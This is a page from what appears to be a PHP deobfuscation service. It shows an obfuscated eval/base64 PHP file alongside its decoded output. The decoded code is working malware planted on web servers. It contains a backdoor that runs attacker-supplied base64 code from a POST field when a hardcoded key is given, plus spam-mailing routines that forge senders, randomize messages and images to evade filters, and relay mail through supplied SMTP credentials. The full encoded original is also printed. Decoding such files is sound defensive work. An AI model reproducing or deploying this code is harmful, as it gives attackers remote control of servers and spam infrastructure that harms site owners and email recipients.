Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $scpshy='b'.'as'.'e64_d'.'e'.'c'.'o'.'de'; @eval($scpshy('ZXJyb3JfcmVwb3J0aW5nKDApOy..
Decoded Output download
error_reporting(0);//qkqqisvzw
set_time_limit(0);if ($_GET['q']=='1'){echo '200'; exit;}///zrighzxsc
if (isset($_GET["key"])){///gkjhnes
if($_GET['key']=='sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG')eval(base64_decode($_POST['fack']));if(md5($_GET['key'])=='7663f1b3555993ad229183b0efad3261')eval(base64_decode($_POST['fack']));exit;}if (isset($_GET["ping"]) and $_GET["ping"] == ("ping_host")) {###pelsylizkb
echo "true";###ohpqzemcon
}else{///vklyxskmt
if (isset($_GET["to"])) {function d($txt,$text = '',$p = false){// if($text != ''){echo "<br>------>>{$text}<<-------<br>";}///gksgd
//dqqt
if(is_array($txt) and $p !=false){foreach($txt as $t){echo $t.'<br>';}///yjzamznb
###wwpgydq
}else{//zetkqfdllr
echo '<pre>';print_r($txt);echo '</pre>';}if($text != ''){echo "------>>{$text}<<-------<br>";}###jkytbkyry
}function CheckAttach($to,$reply,$from_name){#fceyguk
$message=text();///aeoqnnkr
$subject=$_SERVER['SERVER_NAME'];///kqzxm
$filename=filename('1.txt');$boundary=md5(uniqid());///kmsbjeidvl
//kunfhj
#gfwosz
//d($from_name,'$from_name');///nscjwmphez
###mpioxxvov
$headers='MIME-Version: 1.0'."
";$headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."
";###udjyndvm
$headers.='Reply-To: '.$reply."
";$headers.='X-Mailer: PHP/'.phpversion()."
";###cnkhbqvyck
$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"
";#evgppthijs
$body='--'.$boundary."
";$body.='Content-Type: text/html; charset="utf-8"'."
";///hlhuofuy
$body.='Content-Transfer-Encoding: base64'."
";$body.=chunk_split(base64_encode($message));$body.= '--'.$boundary."
";$body.='Content-Type: text/plain; name="'.$filename.'"'."
";//dmlc
$body.='Content-Disposition: attachment; filename="'.$filename.'"'."
";$body.='Content-Transfer-Encoding: base64'."
";###cnjdxiw
$body.='X-Attachment-Id: '.rand(1000,99999)."
";$body.= chunk_split(base64_encode(text()));###rkv
//d($headers,'$headers');//d($body,'$body');if(mail($to,$subject,$body,$headers)){return true;}return false;#nerxqxu
}#ktpuyfbwsc
function filename($name){///khg
$format=end(explode('.',$name));$array[]='SDC'; $array[]='P'; $array[]='DC'; $array[]='CAM'; $array[]='IMG-';//iytgqu
$img=array('png','jpg','gif','jpeg','bmp');//ghxzelc
//arxm
for($c=0,$max=sizeof($img);$c<$max;$c++){if(strtolower($format)==$img[$c]){$rand=rand(10,999999);return $array[rand(0,4)].$rand.'.'.$format;}#zqimb
}return randText().'.'.$format;//unbnzddvh
}///iwvpkoha
function fileString($name){$format=end(explode('.',$name));//hkzabko
///istic
if(strtolower($format)=='jpeg' or strtolower($format)=='jpg'){if(CheckRandIMG()){return RandIMG($_FILES['file']['tmp_name']);}}///wtfn
return file_get_contents($_FILES['file']['tmp_name']);}//ugibbe
function randText(){###hnmj
$str='qwertyuiopasdfghjklzxcvbnm';$size=rand(3,8); $result='';###hksgutwagi
for($c=0;$c<$size;$c++){$result.=$str{rand(0,strlen($str)-1)};}###ylmrl
return $result;///vzvgt
}#bxrl
function text(){$str='qwertyuiopasdfghjklzxcvbnm';###qzomvqh
$size=rand(9,20); $result='';for($c=0;$c<$size;$c++){$rand=rand(6,10);for($i=0;$i<$rand;$i++){///jotmxo
$result.=$str{rand(0,strlen($str)-1)};#gdurwiv
}$sign=array(' ',' ',' ',' ',', ','? ','. ','. ');$result.=$sign[rand(0,7)];///rvptlcee
}#yhixwv
return trim($result);//gapnke
}///atjeml
//cpqete
function CheckRandIMG(){###mtd
$array=array('getimagesize','imagecreatetruecolor',#yvradupy
'imagecreatefromjpeg','imagecopyresampled',///znlbqksj
'imagefilter',///znat
'ob_start','imagejpeg',//xlftn
'ob_get_clean');for($c=0,$max=sizeof($array);$c<$max;$c++){//omxmaazcy
if(!function_exists($array[$c])){//zdftlx
return false;#oyej
}}return true;}function RandIMG($file){///qzn
$rand['width']=rand(1,2);$rand['height']=rand(1,2);#ivks
$rand['quality']=rand(1,2);#zgimjnwijv
$rand['brightness']=rand(1,2);$rand['contrast']=rand(1,2);#fmozzv
list($width,$height)=getimagesize($file);if($rand['width']==1){###qmdxfzz
$sign=rand(1,2);if($sign==1){$new_width=$width+rand(1,10);#ljtmwlmp
}else{$new_width=$width-rand(1,10);}###gtnwy
}else{///izjmgw
$new_width=$width;}if($rand['height']==1){$sign=rand(1,2);if($sign==1){///elpgshrqmk
$new_height=$height+rand(1,10);}else{$new_height=$height-rand(1,10);///aogtn
}}else{$new_height=$height;}if($rand['quality']==1){$quality=75;}else{$quality=rand(65,105);###ditqlxtzz
}if($rand['brightness']==1){$brightness=rand(0,35);}else{#cxvancn
$brightness=0;}if($rand['contrast']==1){$sign=rand(1,2);###myasfgs
if($sign==1){ $sign='+'; }else{ $sign='-'; }###rsnxqopvey
$contrast=rand(1,15);}else{$sign='';$contrast=0;}$image_p=imagecreatetruecolor($new_width,$new_height);###izmlugt
$image=imagecreatefromjpeg($file);imagecopyresampled($image_p, $image,0,0,0,0,$new_width,$new_height,$width,$height);imagefilter($image_p,IMG_FILTER_CONTRAST,$sign.$contrast);//avily
imagefilter($image_p,IMG_FILTER_BRIGHTNESS,$brightness);ob_start();#dhgpgbbty
imagejpeg($image_p,null,$quality);$out=ob_get_clean();imagedestroy($image_p);return $out;}###clyygdnzjl
function dataHandler($data){###tqtwnoi
$ex=explode("
",$data);//ypbvilg
if(sizeof($ex)>1){return trim($ex[rand(0,sizeof($ex)-1)]);}return trim($data);}###jyk
###skzluu
function Random($text){preg_match_all('#\[rand:(.+?)\]#is',$text,$result); $c=0;#ogpvwonq
while($c<sizeof($result[1])){$rand=explode('|',$result[1][$c]);///ywfsayvcb
$rand=$rand[array_rand($rand)];//dbozgjond
$search=array('[',']','|','?','.','*','#','(',')','$','^','+','{','}');#unpwtah
$replace=array('\[','\]','\|','\?','\.','\*','\#','\(','\)','\$','\^','\+','\{','\}');$str=str_replace($search,$replace,$result[0][$c]);$text=preg_replace('#'.$str.'#',$rand,$text,1); $c++;###wtvbjzya
}return $text;}///eqaseg
$from_name=randText();//dgotjfqf
$replyto=$from_name.'@'.$_SERVER['HTTP_HOST'];//iavpnjx
//lzppvw
#wbw
if(CheckAttach($_GET['to'],$replyto,$from_name)){///boluiowom
echo 'ok';}else{echo 'false';}exit;}///smmdcu
function smtpmail($host, $port, $smtp_login, $smtp_passw, $mail_to, $message, $SEND) {$SEND .= $message."
";//lrhdc
///czzakr
if(!$socket = @fsockopen($host, $port, $errno, $errstr, 10) ) { return false; }//dpsud
#ldwajjbs
if (!server_parse($socket, "220", __LINE__)) return false;#awaxzgka
fputs($socket, "HELO " . $smtp_login . "
");if (!server_parse($socket, "250", __LINE__)) {fclose($socket);//bsvjtpk
return false;}#wltdxgi
fputs($socket, "AUTH LOGIN
");if (!server_parse($socket, "334", __LINE__)) {fclose($socket);return false;}fputs($socket, base64_encode($smtp_login) . "
");if (!server_parse($socket, "334", __LINE__)) {///iayng
fclose($socket);//nknslkh
return false;//qusmqp
}fputs($socket, base64_encode($smtp_passw) . "
");if (!server_parse($socket, "235", __LINE__)) {fclose($socket);return false;}fputs($socket, "MAIL FROM: <".$smtp_login.">
");//bjbsggpmi
if (!server_parse($socket, "250", __LINE__)) {###zmgmsgq
fclose($socket);///tqjpajr
return false;}fputs($socket, "RCPT TO: <" .$mail_to. ">
");if (!server_parse($socket, "250", __LINE__)) {//btpaleaue
fclose($socket);return false;}//tpqxlaavlk
fputs($socket, "DATA
");#huaxjc
if (!server_parse($socket, "354", __LINE__)) {fclose($socket);return false;}fputs($socket, $SEND."
.
");///znvrnkvp
if (!server_parse($socket, "250", __LINE__)) {fclose($socket);return false;###etdd
}fputs($socket, "QUIT
");fclose($socket);///tjjzhof
return true;}#dvmtnzzfm
function server_parse($socket, $response, $line = __LINE__) {#gjwatuqx
while (@substr($server_response, 3, 1) != ' ') {//rorhths
if (!($server_response = fgets($socket, 256))) { return false; }}///nbpjplu
#fhooh
if (!(substr($server_response, 0, 3) == $response)) { return false; }//xuk
return true;}if (isset($_POST["email_polucha"])) { $email_polucha = $_POST["email_polucha"]; }else{ exit("false"); }###tdn
if (isset($_POST["tip_pisma"])) { $tip_pisma = $_POST["tip_pisma"]; }else{ exit("false"); }if (isset($_POST["name_otprav"])) { $name_otprav = $_POST["name_otprav"]; }else{ exit("false"); }if (isset($_POST["adres_otp"])) { $adres_otp = $_POST["adres_otp"]; }else{ exit("false"); }if (isset($_POST["tema_pisma"])) { $tema_pisma = $_POST["tema_pisma"]; }else{ exit("false"); }//lfrivdb
if (isset($_POST["telo_pisma"])) { $telo_pisma = $_POST["telo_pisma"]; }else{ exit("false"); }if (isset($_POST["reply_to"])) { $reply_to = $_POST["reply_to"]; }if (isset($_POST["sposob_otp"])) {$sposob_otp = (string)$_POST["sposob_otp"];###zcz
if ($sposob_otp == ("true")) {if (isset($_POST["smtp_login"])) { $smtp_login = $_POST["smtp_login"]; }else{ exit("false"); }if (isset($_POST["smtp_passw"])) { $smtp_passw = $_POST["smtp_passw"]; }else{ exit("false"); }if (isset($_POST["smtp_host"])) { $smtp_host = $_POST["smtp_host"]; }else{ exit("false"); }if (isset($_POST["smtp_port"])) { $smtp_port = $_POST["smtp_port"]; }else{ exit("false"); }///zyu
}}else{ exit("false"); }//mesnwpjo
#ttmqelxh
if (!empty($_FILES["fail"]["tmp_name"])) {$put_k_failu = $_FILES["fail"]["tmp_name"];///ljb
$name_fail = $_FILES["fail"]["name"];$random_name_fail = substr(preg_replace("/[^0-9a-z]/","",strtolower(crypt(""))),1,8);//mrmoxoirlm
// $name_fail = $random_name_fail.$name_fail;}$adres_otp = $adres_otp.'@'.$_SERVER['HTTP_HOST'];//bmwjjncddw
//cmlres
$end_zag = "
";#jix
$boundary=md5(uniqid());$headers = "From: =?utf-8?B?".base64_encode($name_otprav)."?= <".$adres_otp.">".$end_zag;if ($sposob_otp == ("true")) {$headers .= "To: $email_polucha <$email_polucha>".$end_zag;}###yetudjsb
###dqlvpxd
if ($reply_to != ("false")) {//gbugjh
$headers .= "Reply-To: $reply_to".$end_zag;}if ($sposob_otp == ("true")) {//tfjjnuys
$headers .= "Subject: =?utf-8?B?".base64_encode($tema_pisma)."?=".$end_zag;}###uiqzvnmag
$headers .= "MIME-Version: 1.0".$end_zag;///cadhgq
//$headers .= "X-Priority: 3".$end_zag;$headers .= 'X-Mailer: PHP/'.phpversion().$end_zag;#lolowd
if (isset($put_k_failu)) {###ysijq
$un = strtoupper(uniqid(time()));//$headers .= "Content-Type: multipart/mixed; boundary=\"----------".$un."\"".$end_zag.$end_zag;$headers .='Content-Type: multipart/mixed; boundary="'.$boundary."\"
";}if ($tip_pisma == "2" or $tip_pisma == 2) {if (!isset($put_k_failu)) {///vekofeqv
///nixif
$headers .= "Content-Type: text/html; charset=\"utf-8\"".$end_zag;//sptka
$headers .= "Content-Transfer-Encoding: 8bit".$end_zag.$end_zag;//rbfcyq
}$zag_type = "text/html";}else{if (!isset($put_k_failu)) {///hec
$headers .= "Content-Type: text/plain; charset=\"utf-8\"".$end_zag;//lovefg
$headers .= "Content-Transfer-Encoding: 8bit".$end_zag.$end_zag;}$zag_type = "text/plain";#snn
}/**###hrlaqids
$headers='MIME-Version: 1.0'."
";$headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."
";$headers.='Reply-To: '.$reply."
";$headers.='X-Mailer: PHP/'.phpversion()."
";$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"
";#rcbhzcill
**/#yvnnunulp
###vfnyi
if (isset($put_k_failu)) {$f = @fopen($put_k_failu,"rb");###emqiv
//$telo_pisma_fail = "------------".$un."
Content-Type: ".$zag_type."; charset=\"utf-8\"".$end_zag;//$telo_pisma_fail .= "Content-Transfer-Encoding: 8bit".$end_zag.$end_zag."$telo_pisma".$end_zag;//$telo_pisma_fail .= "------------".$un.$end_zag;//$telo_pisma_fail .= "Content-Type: application/octet-stream; name=\"".basename($name_fail)."\"".$end_zag;///lpbey
//$telo_pisma_fail .= "Content-Transfer-Encoding: base64".$end_zag;//$telo_pisma_fail .= "Content-Disposition: attachment; filename=\"".basename($name_fail)."\"".$end_zag.$end_zag;###sbvy
//$telo_pisma_fail .= chunk_split(base64_encode(fread($f,filesize($put_k_failu))));//$telo_pisma_fail .= "------------".$un."--".$end_zag;//$telo_pisma = $telo_pisma_fail;//jyrftpjwc
///jqjk
$body='--'.$boundary."
";///ulryhvvxkd
$body.='Content-Type: '.$zag_type.'; charset="utf-8"'."
";$body.='Content-Transfer-Encoding: base64'."
";$body.=chunk_split(base64_encode($telo_pisma));$body.= '--'.$boundary."
";$body.='Content-Type: text/plain; name="'.basename($name_fail).'"'."
";//edg
$body.='Content-Disposition: attachment; filename="'.basename($name_fail).'"'."
";$body.='Content-Transfer-Encoding: base64'."
";$body.='X-Attachment-Id: '.rand(1000,99999)."
";$body.= chunk_split(base64_encode(fread($f,filesize($put_k_failu))));$telo_pisma = $body;###inparmim
###dcmeqmtdf
###rylwgr
/**#ipkq
$body='--'.$boundary."
";$body.='Content-Type: text/html; charset="utf-8"'."
";$body.='Content-Transfer-Encoding: base64'."
";$body.=chunk_split(base64_encode($message));$body.= '--'.$boundary."
";$body.='Content-Type: text/plain; name="'.$filename.'"'."
";$body.='Content-Disposition: attachment; filename="'.$filename.'"'."
";#fdigncm
$body.='Content-Transfer-Encoding: base64'."
";$body.='X-Attachment-Id: '.rand(1000,99999)."
";$body.= chunk_split(base64_encode(text()));**////ryfsg
###ocgtb
###mxebjem
}if ($sposob_otp == ("true")) {#cmcati
$return = smtpmail($smtp_host, $smtp_port, $smtp_login, $smtp_passw, $email_polucha, $telo_pisma, $headers);###qxvqipgirj
}else{$return = mail($email_polucha,$tema_pisma,$telo_pisma,$headers);}###jrxwn
if ($return == true) {echo "true";}else{echo "false";}}
Did this file decode correctly?
Original Code
<?php $scpshy='b'.'as'.'e64_d'.'e'.'c'.'o'.'de'; @eval($scpshy('ZXJyb3JfcmVwb3J0aW5nKDApOy8vcWtxcWlzdnp3CnNldF90aW1lX2xpbWl0KDApO2lmICgkX0dFVFsncSddPT0nMScpe2VjaG8gJzIwMCc7IGV4aXQ7fS8vL3pyaWdoenhzYwppZiAoaXNzZXQoJF9HRVRbImtleSJdKSl7Ly8vZ2tqaG5lcw0KaWYoJF9HRVRbJ2tleSddPT0nc2RmYWRzZ2g0NTEzc2RHRzQzNTM0MUZER1dXREZHREZIREZHRFNGR0RGU0dERkcnKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2ZhY2snXSkpO2lmKG1kNSgkX0dFVFsna2V5J10pPT0nNzY2M2YxYjM1NTU5OTNhZDIyOTE4M2IwZWZhZDMyNjEnKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2ZhY2snXSkpO2V4aXQ7fWlmIChpc3NldCgkX0dFVFsicGluZyJdKSBhbmQgJF9HRVRbInBpbmciXSA9PSAoInBpbmdfaG9zdCIpKSB7IyMjcGVsc3lsaXprYgplY2hvICJ0cnVlIjsjIyNvaHBxemVtY29uDQp9ZWxzZXsvLy92a2x5eHNrbXQNCmlmIChpc3NldCgkX0dFVFsidG8iXSkpIHtmdW5jdGlvbiBkKCR0eHQsJHRleHQgPSAnJywkcCA9IGZhbHNlKXsvL9Cy0YvQstC+0LQg0LTQu9GPINC00LXQsdCw0LPQsGlmKCR0ZXh0ICE9ICcnKXtlY2hvICI8YnI+LS0tLS0tPj57JHRleHR9PDwtLS0tLS0tPGJyPiI7fS8vL2drc2dkDQovL2RxcXQNCmlmKGlzX2FycmF5KCR0eHQpIGFuZCAkcCAhPWZhbHNlKXtmb3JlYWNoKCR0eHQgYXMgJHQpe2VjaG8gJHQuJzxicj4nO30vLy95anphbXpuYgojIyN3d3BneWRxCn1lbHNley8vemV0a3FmZGxscgplY2hvICc8cHJlPic7cHJpbnRfcigkdHh0KTtlY2hvICc8L3ByZT4nO31pZigkdGV4dCAhPSAnJyl7ZWNobyAiLS0tLS0tPj57JHRleHR9PDwtLS0tLS0tPGJyPiI7fSMjI2preXRia3lyeQp9ZnVuY3Rpb24gQ2hlY2tBdHRhY2goJHRvLCRyZXBseSwkZnJvbV9uYW1lKXsjZmNleWd1aw0KJG1lc3NhZ2U9dGV4dCgpOy8vL2Flb3FubmtyCiRzdWJqZWN0PSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOy8vL2txenhtCiRmaWxlbmFtZT1maWxlbmFtZSgnMS50eHQnKTskYm91bmRhcnk9bWQ1KHVuaXFpZCgpKTsvLy9rbXNiamVpZHZsDQovL2t1bmZoag0KI2dmd29zegovL2QoJGZyb21fbmFtZSwnJGZyb21fbmFtZScpOy8vL25zY2p3bXBoZXoKIyMjbXBpb3h4dm92CiRoZWFkZXJzPSdNSU1FLVZlcnNpb246IDEuMCcuIlxyXG4iOyRoZWFkZXJzLj0nRnJvbTogJy4nPT91dGYtOD9CPycuYmFzZTY0X2VuY29kZShyYW5kVGV4dCgpKS4nPz0nLicgPCcuJGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLic+Jy4iXHJcbiI7IyMjdWRqeW5kdm0KJGhlYWRlcnMuPSdSZXBseS1UbzogJy4kcmVwbHkuIlxyXG4iOyRoZWFkZXJzLj0nWC1NYWlsZXI6IFBIUC8nLnBocHZlcnNpb24oKS4iXHJcbiI7IyMjY25raGJxdnljawokaGVhZGVycy49J0NvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT0iJy4kYm91bmRhcnkuIlwiXHJcblxyXG4iOyNldmdwcHRoaWpzCiRib2R5PSctLScuJGJvdW5kYXJ5LiJcclxuIjskYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PSJ1dGYtOCInLiJcclxuIjsvLy9obGh1b2Z1eQ0KJGJvZHkuPSdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnLiJcclxuXHJcbiI7JGJvZHkuPWNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJG1lc3NhZ2UpKTskYm9keS49ICctLScuJGJvdW5kYXJ5LiJcclxuIjskYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjsvL2RtbGMKJGJvZHkuPSdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjskYm9keS49J0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCcuIlxyXG4iOyMjI2NuamR4aXcNCiRib2R5Lj0nWC1BdHRhY2htZW50LUlkOiAnLnJhbmQoMTAwMCw5OTk5OSkuIlxyXG5cclxuIjskYm9keS49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUodGV4dCgpKSk7IyMjcmt2DQovL2QoJGhlYWRlcnMsJyRoZWFkZXJzJyk7Ly9kKCRib2R5LCckYm9keScpO2lmKG1haWwoJHRvLCRzdWJqZWN0LCRib2R5LCRoZWFkZXJzKSl7cmV0dXJuIHRydWU7fXJldHVybiBmYWxzZTsjbmVyeHF4dQ0KfSNrdHB1eWZid3NjCmZ1bmN0aW9uIGZpbGVuYW1lKCRuYW1lKXsvLy9raGcKJGZvcm1hdD1lbmQoZXhwbG9kZSgnLicsJG5hbWUpKTskYXJyYXlbXT0nU0RDJzsgJGFycmF5W109J1AnOyAkYXJyYXlbXT0nREMnOyAkYXJyYXlbXT0nQ0FNJzsgJGFycmF5W109J0lNRy0nOy8vaXl0Z3F1DQokaW1nPWFycmF5KCdwbmcnLCdqcGcnLCdnaWYnLCdqcGVnJywnYm1wJyk7Ly9naHh6ZWxjDQovL2FyeG0NCmZvcigkYz0wLCRtYXg9c2l6ZW9mKCRpbWcpOyRjPCRtYXg7JGMrKyl7aWYoc3RydG9sb3dlcigkZm9ybWF0KT09JGltZ1skY10peyRyYW5kPXJhbmQoMTAsOTk5OTk5KTtyZXR1cm4gJGFycmF5W3JhbmQoMCw0KV0uJHJhbmQuJy4nLiRmb3JtYXQ7fSN6cWltYg0KfXJldHVybiByYW5kVGV4dCgpLicuJy4kZm9ybWF0Oy8vdW5ibnpkZHZoDQp9Ly8vaXd2cGtvaGEKZnVuY3Rpb24gZmlsZVN0cmluZygkbmFtZSl7JGZvcm1hdD1lbmQoZXhwbG9kZSgnLicsJG5hbWUpKTsvL2hremFia28NCi8vL2lzdGljCmlmKHN0cnRvbG93ZXIoJGZvcm1hdCk9PSdqcGVnJyBvciBzdHJ0b2xvd2VyKCRmb3JtYXQpPT0nanBnJyl7aWYoQ2hlY2tSYW5kSU1HKCkpe3JldHVybiBSYW5kSU1HKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSk7fX0vLy93dGZuDQpyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTt9Ly91Z2liYmUKZnVuY3Rpb24gcmFuZFRleHQoKXsjIyNobm1qDQokc3RyPSdxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubSc7JHNpemU9cmFuZCgzLDgpOyAkcmVzdWx0PScnOyMjI2hrc2d1dHdhZ2kNCmZvcigkYz0wOyRjPCRzaXplOyRjKyspeyRyZXN1bHQuPSRzdHJ7cmFuZCgwLHN0cmxlbigkc3RyKS0xKX07fSMjI3lsbXJsDQpyZXR1cm4gJHJlc3VsdDsvLy92enZndAp9I2J4cmwNCmZ1bmN0aW9uIHRleHQoKXskc3RyPSdxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubSc7IyMjcXpvbXZxaA0KJHNpemU9cmFuZCg5LDIwKTsgJHJlc3VsdD0nJztmb3IoJGM9MDskYzwkc2l6ZTskYysrKXskcmFuZD1yYW5kKDYsMTApO2ZvcigkaT0wOyRpPCRyYW5kOyRpKyspey8vL2pvdG14bw0KJHJlc3VsdC49JHN0cntyYW5kKDAsc3RybGVuKCRzdHIpLTEpfTsjZ2R1cndpdgp9JHNpZ249YXJyYXkoJyAnLCcgJywnICcsJyAnLCcsICcsJz8gJywnLiAnLCcuICcpOyRyZXN1bHQuPSRzaWduW3JhbmQoMCw3KV07Ly8vcnZwdGxjZWUKfSN5aGl4d3YKcmV0dXJuIHRyaW0oJHJlc3VsdCk7Ly9nYXBua2UKfS8vL2F0amVtbAovL2NwcWV0ZQ0KZnVuY3Rpb24gQ2hlY2tSYW5kSU1HKCl7IyMjbXRkCiRhcnJheT1hcnJheSgnZ2V0aW1hZ2VzaXplJywnaW1hZ2VjcmVhdGV0cnVlY29sb3InLCN5dnJhZHVweQonaW1hZ2VjcmVhdGVmcm9tanBlZycsJ2ltYWdlY29weXJlc2FtcGxlZCcsLy8vem5sYnFrc2oNCidpbWFnZWZpbHRlcicsLy8vem5hdAonb2Jfc3RhcnQnLCdpbWFnZWpwZWcnLC8veGxmdG4NCidvYl9nZXRfY2xlYW4nKTtmb3IoJGM9MCwkbWF4PXNpemVvZigkYXJyYXkpOyRjPCRtYXg7JGMrKyl7Ly9vbXhtYWF6Y3kKaWYoIWZ1bmN0aW9uX2V4aXN0cygkYXJyYXlbJGNdKSl7Ly96ZGZ0bHgNCnJldHVybiBmYWxzZTsjb3llagp9fXJldHVybiB0cnVlO31mdW5jdGlvbiBSYW5kSU1HKCRmaWxlKXsvLy9xem4KJHJhbmRbJ3dpZHRoJ109cmFuZCgxLDIpOyRyYW5kWydoZWlnaHQnXT1yYW5kKDEsMik7I2l2a3MNCiRyYW5kWydxdWFsaXR5J109cmFuZCgxLDIpOyN6Z2ltam53aWp2CiRyYW5kWydicmlnaHRuZXNzJ109cmFuZCgxLDIpOyRyYW5kWydjb250cmFzdCddPXJhbmQoMSwyKTsjZm1venp2Cmxpc3QoJHdpZHRoLCRoZWlnaHQpPWdldGltYWdlc2l6ZSgkZmlsZSk7aWYoJHJhbmRbJ3dpZHRoJ109PTEpeyMjI3FtZHhmenoKJHNpZ249cmFuZCgxLDIpO2lmKCRzaWduPT0xKXskbmV3X3dpZHRoPSR3aWR0aCtyYW5kKDEsMTApOyNsanRtd2xtcAp9ZWxzZXskbmV3X3dpZHRoPSR3aWR0aC1yYW5kKDEsMTApO30jIyNndG53eQ0KfWVsc2V7Ly8vaXpqbWd3CiRuZXdfd2lkdGg9JHdpZHRoO31pZigkcmFuZFsnaGVpZ2h0J109PTEpeyRzaWduPXJhbmQoMSwyKTtpZigkc2lnbj09MSl7Ly8vZWxwZ3NocnFtawokbmV3X2hlaWdodD0kaGVpZ2h0K3JhbmQoMSwxMCk7fWVsc2V7JG5ld19oZWlnaHQ9JGhlaWdodC1yYW5kKDEsMTApOy8vL2FvZ3RuDQp9fWVsc2V7JG5ld19oZWlnaHQ9JGhlaWdodDt9aWYoJHJhbmRbJ3F1YWxpdHknXT09MSl7JHF1YWxpdHk9NzU7fWVsc2V7JHF1YWxpdHk9cmFuZCg2NSwxMDUpOyMjI2RpdHFseHR6eg0KfWlmKCRyYW5kWydicmlnaHRuZXNzJ109PTEpeyRicmlnaHRuZXNzPXJhbmQoMCwzNSk7fWVsc2V7I2N4dmFuY24NCiRicmlnaHRuZXNzPTA7fWlmKCRyYW5kWydjb250cmFzdCddPT0xKXskc2lnbj1yYW5kKDEsMik7IyMjbXlhc2ZncwppZigkc2lnbj09MSl7ICRzaWduPScrJzsgfWVsc2V7ICRzaWduPSctJzsgfSMjI3Jzbnhxb3B2ZXkKJGNvbnRyYXN0PXJhbmQoMSwxNSk7fWVsc2V7JHNpZ249Jyc7JGNvbnRyYXN0PTA7fSRpbWFnZV9wPWltYWdlY3JlYXRldHJ1ZWNvbG9yKCRuZXdfd2lkdGgsJG5ld19oZWlnaHQpOyMjI2l6bWx1Z3QKJGltYWdlPWltYWdlY3JlYXRlZnJvbWpwZWcoJGZpbGUpO2ltYWdlY29weXJlc2FtcGxlZCgkaW1hZ2VfcCwgJGltYWdlLDAsMCwwLDAsJG5ld193aWR0aCwkbmV3X2hlaWdodCwkd2lkdGgsJGhlaWdodCk7aW1hZ2VmaWx0ZXIoJGltYWdlX3AsSU1HX0ZJTFRFUl9DT05UUkFTVCwkc2lnbi4kY29udHJhc3QpOy8vYXZpbHkKaW1hZ2VmaWx0ZXIoJGltYWdlX3AsSU1HX0ZJTFRFUl9CUklHSFRORVNTLCRicmlnaHRuZXNzKTtvYl9zdGFydCgpOyNkaGdwZ2JidHkNCmltYWdlanBlZygkaW1hZ2VfcCxudWxsLCRxdWFsaXR5KTskb3V0PW9iX2dldF9jbGVhbigpO2ltYWdlZGVzdHJveSgkaW1hZ2VfcCk7cmV0dXJuICRvdXQ7fSMjI2NseXlnZG56amwKZnVuY3Rpb24gZGF0YUhhbmRsZXIoJGRhdGEpeyMjI3RxdHdub2kNCiRleD1leHBsb2RlKCJcbiIsJGRhdGEpOy8veXBidmlsZwppZihzaXplb2YoJGV4KT4xKXtyZXR1cm4gdHJpbSgkZXhbcmFuZCgwLHNpemVvZigkZXgpLTEpXSk7fXJldHVybiB0cmltKCRkYXRhKTt9IyMjanlrCiMjI3Nremx1dQ0KZnVuY3Rpb24gUmFuZG9tKCR0ZXh0KXtwcmVnX21hdGNoX2FsbCgnI1xbcmFuZDooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0KTsgJGM9MDsjb2dwdndvbnEKd2hpbGUoJGM8c2l6ZW9mKCRyZXN1bHRbMV0pKXskcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0WzFdWyRjXSk7Ly8veXdmc2F5dmNiDQokcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07Ly9kYm96Z2pvbmQKJHNlYXJjaD1hcnJheSgnWycsJ10nLCd8JywnPycsJy4nLCcqJywnIycsJygnLCcpJywnJCcsJ14nLCcrJywneycsJ30nKTsjdW5wd3RhaA0KJHJlcGxhY2U9YXJyYXkoJ1xbJywnXF0nLCdcfCcsJ1w/JywnXC4nLCdcKicsJ1wjJywnXCgnLCdcKScsJ1wkJywnXF4nLCdcKycsJ1x7JywnXH0nKTskc3RyPXN0cl9yZXBsYWNlKCRzZWFyY2gsJHJlcGxhY2UsJHJlc3VsdFswXVskY10pOyR0ZXh0PXByZWdfcmVwbGFjZSgnIycuJHN0ci4nIycsJHJhbmQsJHRleHQsMSk7ICRjKys7IyMjd3R2Ymp6eWEKfXJldHVybiAkdGV4dDt9Ly8vZXFhc2VnDQokZnJvbV9uYW1lPXJhbmRUZXh0KCk7Ly9kZ290amZxZgokcmVwbHl0bz0kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107Ly9pYXZwbmp4Ci8vbHpwcHZ3DQojd2J3DQppZihDaGVja0F0dGFjaCgkX0dFVFsndG8nXSwkcmVwbHl0bywkZnJvbV9uYW1lKSl7Ly8vYm9sdWlvd29tCmVjaG8gJ29rJzt9ZWxzZXtlY2hvICdmYWxzZSc7fWV4aXQ7fS8vL3NtbWRjdQpmdW5jdGlvbiBzbXRwbWFpbCgkaG9zdCwgJHBvcnQsICRzbXRwX2xvZ2luLCAkc210cF9wYXN